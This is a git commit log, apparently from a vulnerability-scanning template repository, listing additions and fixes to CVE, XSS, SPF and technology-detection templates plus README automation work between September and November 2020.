GitHub Action	8d637df405	Auto Update README [Tue Nov 17 12:45:06 UTC 2020] 🤖	2020-11-17 12:45:06 +00:00
bauthard	2a46a9000b	readme. update	2020-11-17 18:14:42 +05:30
bauthard	7186a9c276	Merge pull request #621 from projectdiscovery/readme-auto-update Readme auto update	2020-11-17 18:13:46 +05:30
bauthard	77564e1711	Merge pull request #620 from dwisiswant0/feature/auto-update-readme Feature Auto Update README	2020-11-17 18:12:04 +05:30
Dwi Siswanto	3c65d12715	Merge branch 'feature/auto-update-readme' of github.com:dwisiswant0/nuclei-templates into feature/auto-update-readme	2020-11-17 18:41:17 +07:00
Dwi Siswanto	344760aab5	♻️ Add dep for update readme workflow	2020-11-17 18:39:51 +07:00
Dwi Siswanto	eb015be802	🔨 Update readme script	2020-11-17 18:39:51 +07:00
Dwi Siswanto	c82cf8b720	📝 Fix indents	2020-11-17 18:39:51 +07:00
Dwi Siswanto	dd95ae5a58	♻️ Add auto update README workflow	2020-11-17 18:39:51 +07:00
Dwi Siswanto	1e8e3a9304	🔨 Fix conflicts	2020-11-17 18:39:11 +07:00
bauthard	e857aef0f6	test	2020-11-17 16:58:04 +05:30
bauthard	c03f0f07c1	Merge pull request #618 from geeknik/patch-16 Update kubernetes-pods.yaml	2020-11-17 16:28:44 +05:30
bauthard	9403d02e38	Merge pull request #619 from Sanya1991/master Add CVE-2017-12637 template	2020-11-17 16:28:19 +05:30
bauthard	071e3b25c9	few updates	2020-11-17 16:27:15 +05:30
Sandor Toth	0202889780	cve-2017-12637.yaml tab fixed	2020-11-17 11:18:19 +01:00
Sandor Toth	f5e1d23545	cve-2017-12637.yaml added	2020-11-17 11:14:41 +01:00
Dwi Siswanto	1cb5780680	♻️ Add dep for update readme workflow	2020-11-17 06:43:59 +07:00
Dwi Siswanto	0932426f0e	🔨 Update readme script	2020-11-17 06:43:02 +07:00
Dwi Siswanto	cd4db3c9c5	🔥 Remove README.py	2020-11-17 06:42:49 +07:00
Dwi Siswanto	a8a891d117	📝 Fix indents	2020-11-17 06:02:12 +07:00
Dwi Siswanto	b8b9152950	♻️ Add auto update README workflow	2020-11-17 05:59:12 +07:00
Dwi Siswanto	8747f5ed9c	🔨 Update auto README	2020-11-17 05:58:45 +07:00
Geeknik Labs	7629b08e8e	Update kubernetes-pods.yaml This either needs to match against status 200 or it needs to ignore status 404 due to false positives.	2020-11-16 17:35:49 +00:00
Geeknik Labs	bc398cf3e3	Update open-redirect.yaml Add `langTo` parameter.	2020-11-16 17:02:48 +00:00
bauthard	7c7a7ba69f	readme update	2020-11-16 22:25:13 +05:30
Geeknik Labs	a2243cbf30	Update open-redirect.yaml Add missing host to `RequestURI`. 👍🏻	2020-11-16 16:52:13 +00:00
bauthard	348d46fbb0	Merge pull request #615 from dwisiswant0/add/CVE-2020-8209 Add CVE-2020-8209	2020-11-16 21:58:26 +05:30
Dwi Siswanto	d6198665e7	🔥 Add CVE-2020-8209 References: - https://swarm.ptsecurity.com/path-traversal-on-citrix-xenmobile-server/	2020-11-16 21:49:51 +07:00
bauthard	2f42b6edd7	Adding apache-tomcat-snoop example page	2020-11-16 19:30:33 +05:30
bauthard	2187e142b1	Merge pull request #613 from binaryfigments/master Added check for spoofable SPF records	2020-11-15 20:59:02 +05:30
bauthard	4ed2e6f56f	Merge pull request #614 from mohammedshine/patch-6 Create CVE-2020-14815.yaml	2020-11-14 15:38:05 +05:30
bauthard	b1965155f7	Update CVE-2020-14815.yaml	2020-11-14 15:37:15 +05:30
bauthard	a710c24d4d	Update CVE-2020-14815.yaml	2020-11-14 15:35:06 +05:30
mohammedshine	a273c87c2e	Create CVE-2020-14815.yaml	2020-11-13 01:25:48 +05:30
bauthard	3cf5167077	Update CVE-2019-20141.yaml	2020-11-12 14:30:01 +05:30
bauthard	c4349a33cf	fixing possible false positive	2020-11-12 13:55:56 +05:30
Sebastian Broekhoven	51754d7cd1	added forcepoint	2020-11-11 23:22:57 +01:00
Sebastian Broekhoven	4cc190f1b9	Added: E-mail service detector	2020-11-11 23:21:13 +01:00
Sebastian Broekhoven	8b990fd753	linter	2020-11-11 22:34:40 +01:00
Sebastian Broekhoven	4f4797ceb4	Added check for spoofable SPF records	2020-11-11 22:27:34 +01:00
bauthard	cdfb537623	Merge pull request #612 from harleo/master Rename jira-exploitaiton-workflow.yaml to jira-exploitation-workflow.…	2020-11-12 00:56:14 +05:30
Leo	f03482fdd7	Rename jira-exploitaiton-workflow.yaml to jira-exploitation-workflow.yaml	2020-11-11 20:16:20 +01:00
bauthard	477dc5cf08	Merge pull request #611 from harleo/master Corrected Jira workflow typos	2020-11-12 00:36:10 +05:30
Leo	86ec9f5ab3	Update jira-exploitaiton-workflow.yaml Corrected exploitation typo	2020-11-11 19:51:48 +01:00
Leo	77fefbc493	Update README.md Corrected typo in Jira workflow	2020-11-11 19:50:43 +01:00
bauthard	d85749b5c7	Update springboot-detect.yaml	2020-11-11 17:33:07 +05:30
bauthard	4f746684c8	Encoding updates	2020-11-10 19:43:51 +05:30
bauthard	377a7df758	Adding NUUO NVRmini2 3.0.8 - Remote Code Execution	2020-11-09 16:09:50 +05:30
bauthard	dab35a9b8c	Merge pull request #608 from ironfisto/master Added aws load balancer tech detect yaml	2020-11-08 15:49:08 +05:30
bauthard	e9902629c1	moving files	2020-11-08 15:47:24 +05:30
Mukul	9fc3e503da	fixed file ext issue	2020-11-08 15:30:03 +05:30
Mukul	dadf6694e8	added aws load balancer tech detect yml	2020-11-08 14:46:02 +05:30
bauthard	56ee390869	Adding Wordpress Plugin Scanner	2020-11-07 18:40:51 +05:30
bauthard	1505e88b68	Merge pull request #556 from projectdiscovery/basic-auth-fuzzing Adding basic auth fuzzing	2020-11-07 18:23:18 +05:30
bauthard	25c00e7af7	Update .nuclei-ignore	2020-11-07 18:21:41 +05:30
bauthard	e7efb8929f	Delete wp-plugin-scan.yaml	2020-11-07 18:17:51 +05:30
bauthard	bf8504e12a	Delete wp-plugins.txt	2020-11-07 18:10:27 +05:30
bauthard	eb47380134	Update azure-takeover-detection.yaml	2020-11-07 17:38:04 +05:30
bauthard	739e7e0472	Merge pull request #607 from CasperGN/alerta-fix Search for "provider":"ldap" to complete the match on the cve	2020-11-07 17:16:22 +05:30
Casper Guldbech Nielsen	29d421549a	Search for "provider":"ldap" to complete the match on the cve Signed-off-by: Casper Guldbech Nielsen <[email protected]>	2020-11-07 12:37:29 +01:00
bauthard	b85f5656c8	Merge pull request #606 from CasperGN/cve-2020-26214 Add cve-2020-26214 detection	2020-11-07 16:42:45 +05:30
Casper Guldbech Nielsen	e9b57b3e9a	Add cve-2020-26214 detection Signed-off-by: Casper Guldbech Nielsen <[email protected]>	2020-11-07 11:47:02 +01:00
bauthard	f8eaaae3cb	Merge pull request #604 from aancw/master Add Kibana Service Technology	2020-11-06 16:25:19 +05:30
bauthard	de55e6439d	Update kibana-detect.yaml	2020-11-06 16:24:02 +05:30
bauthard	beeb8ca5b7	Update jira-exploitaiton-workflow.yaml	2020-11-06 15:59:10 +05:30
bauthard	cd90698cb5	Adding cve-2019-3402	2020-11-06 15:58:11 +05:30
bauthard	740f726208	Merge pull request #605 from savushkin-yauheni/patch-2 add new vulns to wordpress-workflow.yaml	2020-11-06 13:55:20 +05:30
Zhenya Savushkin	7c1b99b2ac	add new vulns to wordpress-workflow.yaml	2020-11-06 10:53:49 +03:00
Aan	d2c0b785ba	Simplifying Yaml Format	2020-11-04 16:40:46 +07:00
Aan	9893610bb1	Add Kibana Service Technology	2020-11-04 15:49:18 +07:00
bauthard	6adbc5e25a	Merge pull request #603 from geeknik/patch-14 Update top-15-xss.yaml	2020-11-04 10:49:56 +05:30
Geeknik Labs	acae0a9d48	Update top-15-xss.yaml Fine tuning the template. Sometimes a host will redirect the original request to another page or subdomain and the XSS happens on that page instead of with the original request. I believe a max-redirects of 1 should be sufficient.	2020-11-03 18:00:38 +00:00
bauthard	449786eb6b	Merge pull request #600 from geeknik/patch-13 Update basic-xss-prober.yaml	2020-11-02 20:58:27 +05:30
bauthard	a32e2e7540	Update basic-xss-prober.yaml	2020-11-02 20:55:36 +05:30
Geeknik Labs	5e911f5cd9	Update basic-xss-prober.yaml Hoping to cut down on false positives by ignoring reflections from JSON API endpoints	2020-11-02 15:04:05 +00:00
bauthard	b239b4ff56	Merge pull request #599 from dwisiswant0/fix/CVE-2020-14882 Update CVE-2020-14882 payload & with positive matchers	2020-11-02 13:33:12 +05:30
Dwi Siswanto	b175c2117c	🔥 Update CVE-2020-14882 payload & with positive matchers	2020-11-02 14:23:12 +07:00
bauthard	73c94b174c	moved to another branch for the fix.	2020-11-01 12:53:33 +05:30
bauthard	278982a441	Merge pull request #598 from geeknik/patch-12 Update server-status-localhost.yaml	2020-10-31 11:07:27 +05:30
Geeknik Labs	a5f8b422e0	Update server-status-localhost.yaml	2020-10-30 20:33:50 +00:00
bauthard	8503dd1471	fixing mistake	2020-10-30 11:01:43 +05:30
bauthard	048cc7183c	Merge pull request #596 from dwisiswant0/add/CVE-2020-14882 Add CVE-2020-14882	2020-10-29 19:16:49 +05:30
Dwi Siswanto	baaba9036e	🔥 Add CVE-2020-14882	2020-10-29 19:58:49 +07:00
bauthard	3732e52842	Update globalprotect-panel.yaml	2020-10-29 17:21:44 +05:30
bauthard	0c3b87f943	Merge pull request #595 from projectdiscovery/z-xxe adding cve-2019-9670	2020-10-29 16:24:59 +05:30
bauthard	0c63ebfd8f	adding cve-2019-9670	2020-10-29 16:23:46 +05:30
bauthard	ece16666de	Merge pull request #594 from palaziv/master add template for CVE-2020-14864	2020-10-29 15:49:04 +05:30
bauthard	ca1c3e7f72	Update CVE-2020-14864.yaml	2020-10-29 15:43:50 +05:30
palaziv	54f73f80e1	add template for CVE-2020-14864	2020-10-29 10:54:06 +01:00
bauthard	341796530b	readme update	2020-10-28 10:23:42 +05:30
bauthard	e97d31d6ee	Merge pull request #550 from tungpun/patch-1 Updated exposed-svn.yaml to reduce F/P	2020-10-28 00:33:46 +05:30
bauthard	471636ffde	Update exposed-svn.yaml	2020-10-28 00:32:15 +05:30
bauthard	984113a638	Merge pull request #551 from tungpun/patch-2 Updated git-config.yam to reduce F/P	2020-10-28 00:29:11 +05:30
bauthard	cd63c3802d	matcher updates	2020-10-28 00:26:58 +05:30
bauthard	ace1f4ee25	Update wp-plugin-scan.yaml	2020-10-14 02:22:21 +05:30
bauthard	99cc39a4ef	updates	2020-10-14 02:20:08 +05:30
bauthard	15976d70b9	few updates	2020-10-14 02:12:49 +05:30
bauthard	8dc8566538	Update basic-auth-workflow.yaml	2020-10-14 00:03:18 +05:30
bauthard	1c4c6982d5	Adding basic auth detection / bruteforce / workflows	2020-10-13 23:55:28 +05:30
bauthard	5d3c429763	Adding Wordpress Plugin Scanner will be merged after next release of nuclei	2020-10-13 17:22:57 +05:30
Tung Pun	2908710e43	Updated git-config.yam to reduce F/P	2020-10-11 16:32:03 +07:00
Tung Pun	ff2cc5acb7	Updated exposed-svn.yaml to reduce F/P	2020-10-11 16:30:16 +07:00
toufik-airane	eb1a417534	Add README.py and update README.md Add a Python3 script named README.py to automatically update the README.md on triggers. Some stuffs is missing like the numbers of HTTP/DNS requests per template Directory. Feel free to contribute if you think it's reliable.	2020-09-09 19:23:19 +02:00